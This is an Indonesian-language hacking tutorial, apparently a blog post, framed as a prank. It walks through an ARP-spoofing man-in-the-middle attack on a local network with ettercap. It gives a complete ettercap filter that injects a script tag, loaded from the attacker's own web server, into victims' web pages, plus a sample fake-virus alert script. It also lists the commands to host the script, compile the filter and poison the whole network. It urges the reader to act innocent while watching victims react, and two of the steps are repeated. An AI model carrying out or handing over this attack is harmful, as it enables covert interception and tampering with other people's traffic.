kita langsung ke TKP ,, bekicoot..
langkah-langkah nya :
- siap kan tool ettercap nya,, kalau di backtrack mang sudah ada..
- berlagak lah seperti orang nggak tau apa2..
- buat file iseng.filter copas script di bawah ini :
01 | if (ip.proto == TCP && tcp.dst == 80) |
02 | { |
03 | if (search(DATA.data, "Accept-Encoding")) |
04 | { |
05 | replace("Accept-Encoding", "Accept-Nothing!"); |
06 | } |
07 | } |
08 |
09 | if (ip.proto == TCP && tcp.src == 80) |
10 | { |
11 | replace("<body", "<script src='http://<ip address anda>/spoof.js'></script><body"); |
12 | msg("Script injected \n"); |
13 | } |
> buat file spoof.js terserah anda mau script javascript yang bagaimana, disini saya cuman mw nampilin msgbox doang
alert("Your Computer Infected Virus");
> Copy file spoof.js ke /var/www , oh ya disini saya menggunakan apache2 jadi foldernya di /var/www
> Jalankan apache nya
root@bt~# /etc/init.d/apache2 start
> Compile Script iseng.filter tadi
root@bt~# etterfilter iseng.filter -o run
> Jalankan apache nya
root@bt~# /etc/init.d/apache2 start
> Compile Script iseng.filter tadi
root@bt~# etterfilter iseng.filter -o run
> Tinggal jalanin deh ettercapnya
root@bt~# ettercap -i <interface> -T -q -F run -M ARP // //
*nb : <interface> ubah jadi device anda. ex : wlan0
Tunggu setelah beberapa menit apa reaksi mereka… :D